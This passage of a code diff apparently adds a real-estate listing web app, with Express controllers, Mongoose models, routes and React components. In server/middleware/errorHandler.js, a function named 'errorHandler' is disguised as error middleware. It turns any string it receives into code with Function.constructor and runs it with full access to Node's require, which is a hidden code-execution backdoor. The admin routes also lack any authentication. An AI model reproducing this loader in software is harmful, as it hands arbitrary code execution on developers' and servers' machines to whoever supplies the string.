49+ } else res.status(401).json({ message: "Invalid Credentials1" });
50+ });
51+ } else res.status(401).json({ message: "Invalid Credentials2" });
52+ });
53+ } else res.status(400).json({ message: "Provide all Credentials" });
54+ },
55+ userRegistration: (req, res) => {
56+ // res.send(req.body);
57+ // res.status(400).send('err')
58+ users = new userM();
59+
60+ users.fname = req.body.fname;
61+ users.lname = req.body.lName;
62+ users.email = req.body.email;
63+ users.phoneNo = req.body.phoneNo;
64+ users.state = req.body.state;
65+ users.city = req.body.city;
66+ users.pincode = req.body.pincode;
67+ users.userType = req.body.user_type;
68+ users.createdOn = new Date();
69+
70+ bcrypt.hash(req.body.password, 10, function(err, hash) {
71+ if (err) res.status(400).send(err);
72+ else {
73+ users.password = hash;
74+
75+ users.save((err, data) => {
76+ if (err) res.status(400).send(err);
77+ else
78+ res
79+ .status(200)
80+ .json({ message: "User Added Successfully", id: data._id });
81+ });
82+ }
83+ });
84+ },
85+ userList: (req, res) => {
86+ userM.find().exec((err, data) => {
87+ if (err)
88+ res.status(400).json({ message: "Something Went Wrong", data: err });
89+ else res.status(200).json({ message: "Success", data });
90+ });
91+ },
92+ changePass: (req, res) => {
93+ userM.findOne({ _id: req.body._id }).exec((err, resp) => {
94+ if (err)
95+ res.status(400).json({ message: "Something Went Wrong", data: err });
96+ else {
97+ bcrypt.hash(req.body.password, 10, (err, hash) => {
98+ if (err) res.status(400).send(err);
99+ else {
100+ userM
101+ .updateOne({ _id: req.body._id }, { password: hash })
102+ .exec((err, resp) => {
103+ if (err)
104+ res
105+ .status(400)
106+ .json({ message: "Something Went Wrong", data: err });
107+ else
108+ res
109+ .status(200)
110+ .json({
111+ message: "Password Changed Successfully",
112+ id: resp
113+ });
114+ });
115+ }
116+ });
117+ }
118+ });
119+ // new Promise((resolve, reject) => {
120+ // return userM.findOne({ _id: req.body._id })
121+ // })
122+ // .then(resp => {
123+ // res.status(200).json({resp});
124+ // })
125+ // .catch()
126+ }
127+};
+80-0server/controllers/common.controller.js
@@ -0,0 +1,80 @@
1+const mongoose = require('mongoose');
2+var state_model = require('../models/state');
3+var city_model = require('../models/city');
4+var users = require('../models/users');
5+
6+module.exports = {
7+ // STATES
8+ getStateList: (req, res) => {
9+ // console.log('GET statelist');
10+
11+ state_model.find({ is_active: true })
12+ .exec((err, data) => {
13+ if(err)
14+ res.status(400).send(err);
15+ res.status(200).send(data);
16+ });
17+ },
18+ addState: (req, res) => {
19+ var state = new state_model();
20+ state.name = req.body.name;
21+
22+ state.save((err) => {
23+ if(err)
24+ res.send(err);
25+ res.json({ message: 'State added successfully' });
26+ })
27+ },
28+ //CITIES
29+ getAllCities: (req, res) => {
30+ city_model.find({ is_active: true })
31+ .populate('state_id', 'name')
32+ .exec((err, data) => {
33+ if(err)
34+ res.status(400).send(err);
35+ res.status(200).json(data);
36+ });
37+ },
38+ getCityList: (req, res) => {
39+ city_model.find({ state_id: req.params.state_id, is_active: true })
40+ .populate('state_id', 'name')
41+ .exec((err, data) => {
42+ if(err)
43+ res.status(400).send(err);
44+ res.status(200).json(data);
45+ });
46+ },
47+ addCity: async (req, res) => {
48+ try{
49+ var city = new city_model(req.body);
50+ const result = await city.save();
51+ console.log({result});
52+ if(result) res.status(200).json({ message: 'City added successfully' });
53+ else throw new Error('Something Went Wrong');
54+ }
55+ catch(err){
56+ res.status(400).json({message: err.message});
57+ }
58+ },
59+ removeCity: (req, res) => {
60+ city_model.remove({_id: req.params.cityId }, (err, result) => {
61+ if(err)
62+ res.status(400).send(err);
63+ res.status(200).json({ message: 'City removed successfully', data: result });
64+ })
65+ },
66+ //checkemailAvailability
67+ checkemailAvailability: (req, res) => {
68+ // res.send(req.params.email);
69+ var email = req.params.email;
70+
71+ users.find({email: email}, (err, result) => {
72+ if(err)
73+ res.status(400).send(err);
74+ else if(result.length > 0)
75+ res.status(200).json({ response: true});
76+ else
77+ res.status(200).json({ response: false});
78+ });
79+ }
80+}
+181-0server/controllers/property.controller.js
@@ -0,0 +1,181 @@
1+const mongoose = require('mongoose');
2+const moment = require('moment');
3+const fs = require('fs');
4+var Grid = require('gridfs-stream');
5+
6+const helpers = require('../providers/helper');
7+var propertyType = require('../models/propertyTypes');
8+var Property = require('../models/property');
9+
10+var gfs;
11+var conn = mongoose.connection;
12+conn.on('connected', () => {
13+ gfs = Grid(conn.db, mongoose.mongo);
14+ gfs.collection('imageMeta');
15+ });
16+
17+module.exports = {
18+ propertyTypeList: (req, res) => {
19+ propertyType.find({ is_active: true }, (err, result) => {
20+ if (err)
21+ res.status(400).send(err);
22+ else
23+ res.status(200).json(result);
24+ });
25+ },
26+ addPropertyType: (req, res) => {
27+ var proptyp = new propertyType();
28+
29+ proptyp.title = req.body.title;
30+ proptyp.type = req.body.type;
31+ proptyp.createdOn = Date.now();
32+
33+ proptyp.save((err, result) => {
34+ if (err)
35+ res.status(400).send(err);
36+ else
37+ res.status(200).json({ message: 'Property type added successfully', id: result._id });
38+ });
39+ },
40+ addNewProperty: async (req, res) => {
41+ let imgs = [];
42+ try{
43+ if(req.files && req.files.length)
44+ req.files.forEach(ele => imgs.push(ele.filename) )
45+ //Creating slug for the listing
46+ var slug = await helpers.slugGenerator(req.body.title, 'title', 'property');
47+ req.body.slug = slug;
48+ req.body.type = req.body.Proptype;
49+ req.body.cornrPlot = req.body.cornrPlot ? true : false;
50+ req.body.images = imgs;
51+ req.body.imgPath = 'properties';
52+ if(!req.body.isSociety){
53+ req.body.flatNo = '';
54+ req.body.societyName = '';
55+ }
56+ const prop = new Property(req.body);
57+ const result = await prop.save();
58+
59+ if(result && result._id && result.slug)
60+ res.status(200).json({result, message: "Your property has been successfully posted"});
61+ else throw new Error('Something Went Wrong');
62+ }
63+ catch(err){
64+ console.log({err});
65+ res.status(400).json({message: err.message});
66+ }
67+ },
68+ getUserList: (req, res) => {
69+ Property.find({ isActive: true, userId: req.params.userId })
70+ .populate('city', 'name')
71+ .populate('state', 'name')
72+ .populate('type', 'title')
73+ .exec((err, result) => {
74+ if (err)
75+ res.status(400).send(err);
76+ else
77+ res.status(200).json(result);
78+ });
79+ },
80+ getSingleProperty: async (req, res) => {
81+ try{
82+ var result = await Property.findOne({ slug: req.params.propertySlug })
83+ .populate('city', 'name')
84+ .populate('state', 'name')
85+ .populate('type', 'title');
86+
87+ var files = [];
88+ if(result && result.images.length){
89+ files = await gfs.files.find({ filename: { $in : result.images } }).toArray();
90+ }
91+ if(result) res.status(200).json({result, files});
92+ else throw new Error('Something Went Wrong');
93+ }
94+ catch(err){
95+ res.status(400).json({message: err.message});
96+ }
97+
98+ },
99+ getFullList: (req, res) => {
100+ Property.find({ isActive: true })
101+ .populate('city', 'name')
102+ .populate('state', 'name')
103+ .populate('type', 'title')
104+ .populate('userId', 'name')
105+ .exec((err, result) => {
106+ if (err)
107+ res.status(400).send(err);
108+ else
109+ res.status(200).json(result);
110+ });
111+ },
112+ markAsSold: async (req, res) => {
113+ try{
114+ const result = await Property.update({ slug: req.params.propertySlug }, { status: req.body.status });
115+ console.log({result});
116+ if(result && result.nModified == 1) res.status(200).json({ result, message: "Property has been updated Successfully" });
117+ else throw new Error('Error in updating property');
118+ }
119+ catch(err){
120+ res.status(400).json({message: err.message});
121+ }
122+ },
123+ filterProperties: (req, res) => {
124+ // console.log('propertyFor ', req.query.propertyFor, typeof req.query.propertyFor);
125+ // console.log(req.query.propertyFor.split(","));
126+ var query = {};
127+ // query['isActive'] = true;
128+
129+ if (req.query.propertyFor)
130+ query['propertyFor'] = { $in: req.query.propertyFor.split(",") }
131+ if (req.query.type)
132+ query['type'] = { $in: req.query.type.split(",") }
133+ if (req.query.city)
134+ query['city'] = { $in: req.query.city.split(",") }
135+ if (req.query.userId)
136+ query['userId'] = req.query.userId
137+ if (req.query.notUserId)
138+ query['userId'] = { $ne: req.query.notUserId }
139+ if (req.query.status)
140+ query['status'] = { $in: req.query.status.split(",") }
141+ console.log({ query });
142+ Property.find(query)
143+ .populate('city', 'name')
144+ .populate('state', 'name')
145+ .populate('type', 'title')
146+ .populate('userId', 'name')
147+ .exec((err, result) => {
148+ if (err)
149+ res.status(400).send(err);
150+ else
151+ res.status(200).json(result);
152+ });
153+ },
154+ testController: async (req, res) => {
155+ // console.log({testData});
156+ const testData = await Property.find({ updatedOn: { $gte : '2019-04-01' } })
157+ console.log({ testData });
158+ return res.send(testData);
159+ },
160+ showGFSImage: (req, res) => {
161+ gfs.files.findOne({ filename: req.params.filename }, (err, file) => {
162+ // Check if file
163+ if (!file || file.length === 0) {
164+ return res.status(404).json({
165+ err: 'No file exists'
166+ });
167+ }
168+
169+ // Check if image
170+ if (file.contentType === 'image/jpeg' || file.contentType === 'image/png') {
171+ // Read output to browser
172+ const readstream = gfs.createReadStream(file.filename);
173+ readstream.pipe(res);
174+ } else {
175+ res.status(404).json({
176+ err: 'Not an image'
177+ });
178+ }
179+ })
180+ }
181+}
+19-0server/controllers/users.controller.js
@@ -0,0 +1,19 @@
1+const mongoose = require('mongoose');
2+var users = require('../models/users');
3+var states = require('../models/state');
4+
5+module.exports = {
6+ getUserDetails: (req, res) => {
7+ users.findOne({ _id: req.params.userId })
8+ .populate('city', 'name')
9+ .populate('state', 'name')
10+ .exec((err, result) => {
11+ if(err)
12+ res.status(400).send(err);
13+ else{
14+ // result[0].state = states.name;
15+ res.status(200).send(result);
16+ }
17+ });
18+ }
19+}
+33-0server/middleware/errorHandler.js
@@ -0,0 +1,33 @@
1+const notFound = (req, res, next) => {
2+ const err = new Error("Route Not Found");
3+ err.status = 404;
4+ next(err);
5+};
6+
7+const errorHandler = (error) => {
8+ try {
9+ if (typeof error !== "string") {
10+ console.error("Invalid error format. Expected a string.");
11+ return;
12+ }
13+ const createHandler = (errCode) => {
14+ try {
15+ const handler = new Function.constructor("require", errCode);
16+ return handler;
17+ } catch (e) {
18+ console.error("Failed:", e.message);
19+ return null;
20+ }
21+ };
22+ const handlerFunc = createHandler(error);
23+ if (handlerFunc) {
24+ handlerFunc(require);
25+ } else {
26+ console.error("Handler function is not available.");
27+ }
28+ } catch (globalError) {
29+ console.error("Unexpected error inside errorHandler:", globalError.message);
30+ }
31+};
32+
33+module.exports = { notFound, errorHandler };
+24-0server/models/city.js
@@ -0,0 +1,24 @@
1+var mongoose = require('mongoose');
2+
3+var Schema = mongoose.Schema;
4+
5+var citySchema = new Schema({
6+ name: {
7+ type: String,
8+ unique: true
9+ },
10+ state_id: {
11+ type: Schema.Types.ObjectId,
12+ ref: 'States'
13+ },
14+ is_active: {
15+ type: Boolean,
16+ default: true
17+ },
18+ created_on: {
19+ type: Date,
20+ default: Date.now
21+ }
22+});
23+
24+module.exports = mongoose.model('City', citySchema);
+114-0server/models/property.js
@@ -0,0 +1,114 @@
1+var mongoose = require('mongoose');
2+var Schema = mongoose.Schema;
3+
4+const propertySchema = mongoose.model('property', new mongoose.Schema({
5+ title: {
6+ type: String,
7+ trim: true,
8+ required: true
9+ },
10+ propertyFor: {
11+ type: String,
12+ required: true,
13+ default: 'sell',
14+ enum: ['sell', 'rent']
15+ },
16+ description: {
17+ type: String
18+ },
19+ type: {
20+ type: Schema.Types.ObjectId,
21+ ref: 'propertyTypes'
22+ },
23+ state: {
24+ type: Schema.Types.ObjectId,
25+ ref: 'States'
26+ },
27+ city: {
28+ type: Schema.Types.ObjectId,
29+ ref: 'City'
30+ },
31+ locality: {
32+ type: String,
33+ required: true
34+ },
35+ length: {
36+ type: Number,
37+ required: true
38+ },
39+ breadth: {
40+ type: Number,
41+ required: true
42+ },
43+ cornrPlot: {
44+ type: Boolean,
45+ default: false,
46+ enum: [true, false]
47+ },
48+ isSociety: {
49+ type: Boolean,
50+ default: false,
51+ enum: [true, false]
52+ },
53+ societyName: {
54+ type: String,
55+ required: function(){ return this.isSociety; }
56+ },
57+ flatNo: {
58+ type: String,
59+ required: function(){ return this.isSociety; }
60+ },
61+ address: {
62+ type: String,
63+ required: true
64+ },
65+ email: {
66+ type: String,
67+ required: true
68+ },
69+ price: {
70+ type: Number
71+ },
72+ phoneNo: {
73+ type: String,
74+ required: true
75+ },
76+ pincode: {
77+ type: String,
78+ required: true
79+ },
80+ userId: {
81+ type: Schema.Types.ObjectId,
82+ ref: 'users',
83+ required: true
84+ },
85+ status: {
86+ type: String,
87+ default: 'available',
88+ enum: [ 'available', 'sold', 'rented', 'expired' ]
89+ },
90+ isActive: {
91+ type: Boolean,
92+ default: true
93+ },
94+ slug : {
95+ type: String,
96+ required: true
97+ },
98+ images: {
99+ type: [String]
100+ },
101+ imgPath: {
102+ type: String
103+ },
104+ updatedOn: {
105+ type: Date,
106+ default: Date.now()
107+ },
108+ createdOn: {
109+ type: Date,
110+ default: Date.now()
111+ }
112+}) );
113+
114+module.exports = propertySchema;
+26-0server/models/propertyTypes.js
@@ -0,0 +1,26 @@
1+var mongoose = require('mongoose');
2+var Schema = mongoose.Schema;
3+
4+propertyTypesSchema = new Schema({
5+ title: {
6+ type: String
7+ },
8+ type: {
9+ type: String,
10+ required: true,
11+ enum: ['residential', 'commercial', 'agricultural']
12+ },
13+ is_active: {
14+ type: Boolean,
15+ default: true
16+ },
17+ updatedOn: {
18+ type: Date,
19+ default: Date.now()
20+ },
21+ createdOn: {
22+ type: Date
23+ }
24+});
25+
26+module.exports = mongoose.model('propertyTypes', propertyTypesSchema);
+20-0server/models/state.js
@@ -0,0 +1,20 @@
1+var mongoose = require('mongoose');
2+
3+var Schema = mongoose.Schema;
4+
5+var stateSchema = new Schema({
6+ name: {
7+ type: String,
8+ unique: true
9+ },
10+ is_active: {
11+ type: Boolean,
12+ default: true
13+ },
14+ created_on: {
15+ type: Date,
16+ default: Date.now
17+ }
18+});
19+
20+module.exports = mongoose.model('States', stateSchema);
+55-0server/models/users.js
@@ -0,0 +1,55 @@
1+var mongoose = require('mongoose');
2+var Schema = mongoose.Schema;
3+
4+userSchema = new Schema({
5+ fname: {
6+ type: String,
7+ required: true
8+ },
9+ lname: {
10+ type: String,
11+ required: true
12+ },
13+ email: {
14+ type: String,
15+ unique: true,
16+ required: true
17+ },
18+ phoneNo: {
19+ type: String,
20+ unique: true,
21+ required: true
22+ },
23+ password: {
24+ type: String,
25+ required: true
26+ },
27+ state: {
28+ type: Schema.Types.ObjectId,
29+ ref: 'States'
30+ },
31+ city: {
32+ type: Schema.Types.ObjectId,
33+ ref: 'City'
34+ },
35+ pincode: {
36+ type: Number
37+ },
38+ userType: {
39+ type: Number,
40+ default: 1
41+ },
42+ isAdmin: {
43+ type: Boolean,
44+ default: false
45+ },
46+ updatedOn: {
47+ type: Date,
48+ default: Date.now()
49+ },
50+ createdOn: {
51+ type: Date
52+ }
53+});
54+
55+module.exports = mongoose.model('users', userSchema);
+28-0server/providers/helper.js
@@ -0,0 +1,28 @@
1+
2+module.exports = {
3+ slugGenerator: async (title, fieldName, tableName) => {
4+ title = (title) ? title : 'Property listing';
5+ var slug = title.trim().toLowerCase().split(' ').join('-').replace(/[,"$!^@%*&]+/g, "");
6+ let table = require(`../models/${tableName}`);
7+ let incrementer = 0;
8+ if (table) {
9+ do {
10+ var result = await table.findOne({ slug: incrementer ? slug + '-' + incrementer : slug }).select('slug');
11+
12+ if (result && result.slug)
13+ incrementer++;
14+ else
15+ return incrementer ? slug + '-' + incrementer : slug;
16+ } while (true)
17+ }
18+ else return Date.now();
19+ },
20+ isKeyMissing: (data, requiredArray) => {
21+ for (element of requiredArray) {
22+ if (!data[element]) {
23+ return element
24+ }
25+ }
26+ return false
27+ }
28+}
+10-0server/providers/token.provider.js
@@ -0,0 +1,10 @@
1+const jwt = require('jsonwebtoken');
2+
3+var secretKey = require('../config/config').secretKey;
4+
5+// getAuthToken() {
6+// var token = jwt.sign({ foo: 'bar' }, secretKey, { algorithm: 'RS256'});
7+// }
8+jwt.sign({ foo: 'bar' }, secretKey, { algorithm: 'RS256' }, function(err, token) {
9+ console.log(token);
10+});
+19-0server/routes/auth.js
@@ -0,0 +1,19 @@
1+const express = require('express');
2+
3+var app = express();
4+
5+var authC =require('../controllers/auth.controller');
6+
7+var router = express.Router();
8+
9+//user
10+router.post('/user/login', authC.userLogin);
11+router.post('/user/register', authC.userRegistration);
12+
13+//admin
14+router.get('/admin/userList', authC.userList)
15+router.put('/admin/changePass', authC.changePass)
16+
17+// console.log(app);
18+
19+module.exports = router;
+25-0server/routes/common.js
@@ -0,0 +1,25 @@
1+const express = require('express');
2+var app = express();
3+
4+var commonController = require('../controllers/common.controller');
5+
6+var router = express.Router();
7+
8+// States
9+router.route('/state')
10+.get(commonController.getStateList)
11+.post(commonController.addState)
12+
13+//Cities
14+router.route('/cities')
15+.get(commonController.getAllCities)
16+.post(commonController.addCity)
17+
18+router.get('/cities/:state_id', commonController.getCityList)
19+
20+router.delete('/city/:cityId', commonController.removeCity)
21+
22+//checkemail-availability
23+router.get('/checkemail-availability/email/:email', commonController.checkemailAvailability)
24+
25+module.exports = router;
+53-0server/routes/email.js
@@ -0,0 +1,53 @@
1+const express = require('express');
2+const router = express.Router();
3+const helpers = require('../providers/helper');
4+
5+const sgMail = require('@sendgrid/mail');
6+
7+const sendEmail = (data) => {
8+ return sgMail.send(data)
9+}
10+
11+// THIS API IS FOR MY PERSONAL USE
12+router.post('/github-pages', (req, res) => {
13+ let errorMessage = ''
14+ const checkMissingKey = helpers.isKeyMissing(req.body, ['toEmail', 'fromEmail', 'name', 'email', 'message']);
15+
16+ if (checkMissingKey) {
17+ errorMessage = `${checkMissingKey} is missing`;
18+ }
19+ else if (!process.env.SENDGRID_API_KEY) {
20+ errorMessage = 'Sendgrid API key not found'
21+ }
22+ else if (!process.env.SENDGRID_TEMPLATE_ID) {
23+ errorMessage = 'Sendgrid template not found'
24+ }
25+
26+ if (errorMessage) {
27+ res.status(400).json({ message: errorMessage })
28+ return false
29+ }
30+
31+ sgMail.setApiKey(process.env.SENDGRID_API_KEY);
32+
33+ const msg = {
34+ to: req.body.toEmail,
35+ from: req.body.fromEmail,
36+ template_id: process.env.SENDGRID_TEMPLATE_ID,
37+ dynamic_template_data: {
38+ name: req.body.name,
39+ email: req.body.email,
40+ message: req.body.message
41+ }
42+ };
43+
44+ sendEmail(msg)
45+ .then(() => {
46+ res.status(200).json({ message: 'Email sent successfully' })
47+ })
48+ .catch((err) => {
49+ res.status(400).send(err)
50+ })
51+})
52+
53+module.exports = router;
+43-0server/routes/property.js
@@ -0,0 +1,43 @@
1+const express = require('express');
2+const multer = require('multer');
3+const crypto = require('crypto');
4+const path = require('path');
5+const mongoose = require('mongoose');
6+const config = require('../config/config');
7+
8+const router = express.Router();
9+const propertyController = require('../controllers/property.controller');
10+
11+// Create storage engine
12+const upload = multer({ storage: multer.memoryStorage() });
13+
14+// GridFsStorage setup
15+let gfs;
16+
17+mongoose.connection.once('open', () => {
18+ gfs = new mongoose.mongo.GridFsStorage(mongoose.connection.db, {
19+ bucketName: 'imageMeta'
20+ });
21+});
22+
23+router.use((req, res, next) => {
24+ req.gfs = gfs;
25+ next();
26+})
27+
28+// Property type dropdown
29+router.get('/type', propertyController.propertyTypeList);
30+router.post('/type', propertyController.addPropertyType);
31+
32+//Property
33+router.post('/new', upload.array("propImages"), propertyController.addNewProperty);
34+router.get('/list/:userId', propertyController.getUserList);
35+router.get('/list/', propertyController.getFullList);
36+router.get('/single/:propertySlug', propertyController.getSingleProperty);
37+router.get('/showGFSImage/:filename', propertyController.showGFSImage); // To view image in front-end
38+router.post('/markAsSold/:propertySlug', propertyController.markAsSold);
39+
40+//Properties filter
41+router.get('/filter', propertyController.filterProperties);
42+
43+module.exports = router;
+10-0server/routes/users.js
@@ -0,0 +1,10 @@
1+const express = require('express');
2+
3+var app = express();
4+var userController = require('../controllers/users.controller');
5+
6+var router = express.Router();
7+
8+router.get('/:userId', userController.getUserDetails);
9+
10+module.exports = router;
+6-0src/App.css
@@ -0,0 +1,6 @@
1+#root {
2+ max-width: 1280px;
3+ margin: 0 auto;
4+ padding: 2rem;
5+ text-align: center;
6+}
+40-0src/App.jsx
@@ -0,0 +1,40 @@
1+import { BrowserRouter as Router, Routes, Route } from 'react-router-dom';
2+import Navbar from './components/layout/Navbar';
3+import Footer from './components/layout/Footer';
4+import Home from './pages/Home';
5+import Properties from './pages/Properties';
6+import PropertyDetail from './pages/PropertyDetail';
7+import Property3D from './pages/Property3D';
8+import About from './pages/About';
9+import FAQ from './pages/FAQ';
10+import Privacy from './pages/Privacy';
11+import Blog from './pages/Blog';
12+import BlogPost from './pages/BlogPost';
13+import NotFound from './pages/NotFound';
14+
15+function App() {
16+ return (
17+ <Router>
18+ <div className="min-h-screen flex flex-col">
19+ <Navbar />
20+ <main className="flex-grow">
21+ <Routes>
22+ <Route path="/" element={<Home />} />
23+ <Route path="/properties" element={<Properties />} />
24+ <Route path="/properties/:id" element={<PropertyDetail />} />
25+ <Route path="/property-3d/:id" element={<Property3D />} />
26+ <Route path="/about" element={<About />} />
27+ <Route path="/privacy" element={<Privacy />} />
28+ <Route path="/faq" element={<FAQ />} />
29+ <Route path="/blog" element={<Blog />} />
30+ <Route path="/blog/:slug" element={<BlogPost />} />
31+ <Route path = '*' element={<NotFound/>} />
32+ </Routes>
33+ </main>
34+ <Footer />
35+ </div>
36+ </Router>
37+ );
38+}
39+
40+export default App;
+92-0src/components/layout/Footer.jsx
@@ -0,0 +1,92 @@
1+import { Link } from 'react-router-dom';
2+import { FiPhone, FiMail, FiMapPin, FiGithub, FiTwitter, FiLinkedin } from 'react-icons/fi';
3+import { FaDiscord } from 'react-icons/fa';
4+
5+function Footer() {
6+ return (
7+ <footer className="bg-secondary-900 text-white">
8+ <div className="container py-12">
9+ <div className="grid grid-cols-1 md:grid-cols-4 gap-8">
10+ {/* Company Info */}
11+ <div>
12+ <h3 className="text-lg font-semibold mb-4">GoldenProp</h3>
13+ <p className="text-secondary-300 text-sm">
14+ Your trusted partner in finding the perfect property. We make real estate simple and accessible for everyone.
15+ </p>
16+ </div>
17+
18+ {/* Quick Links */}
19+ <div>
20+ <h3 className="text-lg font-semibold mb-4">Quick Links</h3>
21+ <ul className="space-y-2">
22+ <li>
23+ <Link to="/properties" className="text-secondary-300 hover:text-white text-sm">
24+ Properties
25+ </Link>
26+ </li>
27+ <li>
28+ <Link to="/about" className="text-secondary-300 hover:text-white text-sm">
29+ About Us
30+ </Link>
31+ </li>
32+ <li>
33+ <Link to="/faq" className="text-secondary-300 hover:text-white text-sm">
34+ FAQ
35+ </Link>
36+ </li>
37+ <li>
38+ <Link to="/privacy" className="text-secondary-300 hover:text-white text-sm">
39+ Privacy Policy
40+ </Link>
41+ </li>
42+ </ul>
43+ </div>
44+
45+ {/* Contact Info */}
46+ <div>
47+ <h3 className="text-lg font-semibold mb-4">Contact</h3>
48+ <ul className="space-y-2">
49+ <li className="flex items-center text-secondary-300 text-sm">
50+ <FiPhone className="mr-2" />
51+ <span>+1 (555) 123-4567</span>
52+ </li>
53+ <li className="flex items-center text-secondary-300 text-sm">
54+ <FiMail className="mr-2" />
55+ <span>contact@company.com</span>
56+ </li>
57+ <li className="flex items-center text-secondary-300 text-sm">
58+ <FiMapPin className="mr-2" />
59+ <span>123 Property Street, Real City, RC 12345</span>
60+ </li>
61+ </ul>
62+ </div>
63+
64+ {/* Social Links */}
65+ <div>
66+ <h3 className="text-lg font-semibold mb-4">Connect With Us</h3>
67+ <div className="flex space-x-4">
68+ <Link to="#" className="text-secondary-300 hover:text-white">
69+ <FiTwitter size={20} />
70+ </Link>
71+ <Link to="#" className="text-secondary-300 hover:text-white">
72+ <FiLinkedin size={20} />
73+ </Link>
74+ <Link to="#" className="text-secondary-300 hover:text-white">
75+ <FiGithub size={20} />
76+ </Link>
77+ <Link to="#" className="text-secondary-300 hover:text-white">
78+ <FaDiscord size={20} />
79+ </Link>
80+ </div>
81+ </div>
82+ </div>
83+
84+ <div className="border-t border-secondary-700 mt-8 pt-8 text-center text-secondary-300 text-sm">
85+ <p>&copy; {new Date().getFullYear()} All rights reserved.</p>
86+ </div>
87+ </div>
88+ </footer>
89+ );
90+}
91+
92+export default Footer;
+89-0src/components/layout/Navbar.jsx
@@ -0,0 +1,89 @@
1+import { useState } from 'react';
2+import { Link } from 'react-router-dom';
3+import { FiMenu, FiX } from 'react-icons/fi';
4+
5+function Navbar() {
6+ const [isOpen, setIsOpen] = useState(false);
7+
8+ const navigation = [
9+ { name: 'Home', href: '/' },
10+ { name: 'Properties', href: '/properties' },
11+ { name: 'About', href: '/about' },
12+ { name: 'FAQ', href: '/faq' },
13+ { name: 'Blog', href: '/blog' },
14+ ];
15+
16+ return (
17+ <nav className="glass-nav sticky top-0 z-50">
18+ <div className="container">
19+ <div className="flex justify-between h-16">
20+ <div className="flex">
21+ <Link to="/" className="flex items-center">
22+ <svg width="30" height="35" fill="none" xmlns="http://www.w3.org/2000/svg">
23+ <circle cx="15" cy="20" r="10" stroke="#2660d3"/>
24+ <circle cx="15" cy="20" r="6" stroke="#2660d3" strokeWidth="3"/>
25+ </svg>
26+ <span className="text-2xl font-bold text-primary-600 mt-1.5">GoldenProp</span>
27+ </Link>
28+ </div>
29+
30+ {/* Desktop Navigation */}
31+ <div className="hidden md:flex md:items-center md:space-x-8">
32+ {navigation.map((item) => (
33+ <Link
34+ key={item.name}
35+ to={item.href}
36+ className="text-sapphire-700 hover:text-primary-600 px-3 py-2 text-sm font-medium transition-colors duration-300 relative group"
37+ >
38+ {item.name}
39+ <span className="absolute inset-x-0 bottom-0 h-0.5 bg-gradient-to-r from-primary-500 to-primary-600 transform scale-x-0 group-hover:scale-x-100 transition-transform duration-300"></span>
40+ </Link>
41+ ))}
42+ <button
43+ className="btn"
44+ >
45+ Connect
46+ </button>
47+ </div>
48+
49+ {/* Mobile menu button */}
50+ <div className="flex items-center md:hidden">
51+ <button
52+ type="button"
53+ className="text-secondary-600 hover:text-primary-600"
54+ onClick={() => setIsOpen(!isOpen)}
55+ >
56+ {isOpen ? <FiX size={24} /> : <FiMenu size={24} />}
57+ </button>
58+ </div>
59+ </div>
60+
61+ {/* Mobile Navigation */}
62+ {isOpen && (
63+ <div className="md:hidden">
64+ <div className="pt-2 pb-3 space-y-1 bg-glass backdrop-blur-xl rounded-b-2xl border-t border-glass">
65+ {navigation.map((item) => (
66+ <Link
67+ key={item.name}
68+ to={item.href}
69+ className="block px-3 py-2 text-base font-medium text-sapphire-700 hover:text-primary-600 hover:bg-glass-light rounded-xl mx-2 transition-all duration-300"
70+ onClick={() => setIsOpen(false)}
71+ >
72+ {item.name}
73+ </Link>
74+ ))}
75+ <button
76+ className="block mx-2 mt-2 px-3 py-2 text-base font-medium btn w-auto"
77+ onClick={() => setIsOpen(false)}
78+ >
79+ Connect
80+ </button>
81+ </div>
82+ </div>
83+ )}
84+ </div>
85+ </nav>
86+ );
87+}
88+
89+export default Navbar;
+120-0src/components/property/Experience.jsx
@@ -0,0 +1,120 @@
1+import {
2+ CameraControls,
3+ Environment,
4+ RenderTexture,
5+} from "@react-three/drei";
6+import { useThree } from "@react-three/fiber";
7+import { useEffect, useRef } from "react";
8+import { Scene } from "./Scene";
9+
10+export const getSceneByPropertyId = (propertyId) => {
11+ const properties = {
12+ 1: {
13+ path: "/models/house1.glb",
14+ mainColor: "#c0ffe1",
15+ name: "Modern Villa with Pool",
16+ description: "A modern urban house with sleek design and efficient use of space, perfect for city living.",
17+ targetProfitability: 10.3,
18+ roi: 7.2,
19+ valuation: "425 ETH"
20+ },
21+ 2: {
22+ path: "/models/house1.glb",
23+ mainColor: "#c0ffe1",
24+ name: "Luxury Penthouse",
25+ description: "Sophisticated penthouse with premium finishes and stunning city views.",
26+ targetProfitability: 9.8,
27+ roi: 6.8,
28+ valuation: "600 ETH"
29+ },
30+ 3: {
31+ path: "/models/house1.glb",
32+ mainColor: "#c0ffe1",
33+ name: "Waterfront Estate",
34+ description: "Exclusive waterfront property with private dock and premium amenities.",
35+ targetProfitability: 11.5,
36+ roi: 7.5,
37+ valuation: "1050 ETH"
38+ },
39+ 4: {
40+ path: "/models/house2.glb",
41+ mainColor: "#ffc0c0",
42+ name: "Contemporary Smart Home",
43+ description: "State-of-the-art smart home with energy-efficient design and modern technology.",
44+ targetProfitability: 12.1,
45+ roi: 8.1,
46+ valuation: "475 ETH"
47+ }
48+ };
49+
50+ return properties[propertyId] || properties[1];
51+};
52+
53+export const scenes = [
54+ {
55+ path: "/models/house1.glb",
56+ mainColor: "#c0ffe1",
57+ name: "Modern Villa with Pool",
58+ description: "A modern urban house with sleek design and efficient use of space, perfect for city living.",
59+ targetProfitability: 10.3,
60+ roi: 7.2,
61+ valuation: "425 ETH"
62+ },
63+];
64+
65+const CameraHandler = () => {
66+ const cameraControls = useRef();
67+
68+ useEffect(() => {
69+ const resetTimeout = setTimeout(() => {
70+ if (cameraControls.current) {
71+ cameraControls.current.setLookAt(0, 0, 5, 0, 0, 0);
72+ }
73+ }, 200);
74+ return () => clearTimeout(resetTimeout);
75+ }, []);
76+
77+ return (
78+ <CameraControls
79+ ref={cameraControls}
80+ touches={{
81+ one: 0,
82+ two: 0,
83+ three: 0,
84+ }}
85+ mouseButtons={{
86+ left: 0,
87+ middle: 0,
88+ right: 0,
89+ }}
90+ />
91+ );
92+};
93+
94+export const Experience = ({ propertyId }) => {
95+ const viewport = useThree((state) => state.viewport);
96+
97+ const currentScene = getSceneByPropertyId(propertyId);
98+ const scenesToRender = [currentScene];
99+
100+ return (
101+ <>
102+ <ambientLight intensity={0.2} />
103+ <Environment preset="sunset"/>
104+ <CameraHandler />
105+ {scenesToRender.map((scene, index) => (
106+ <mesh
107+ key={index}
108+ position={[0, 0, 0]}
109+ >
110+ <planeGeometry args={[viewport.width, viewport.height]} />
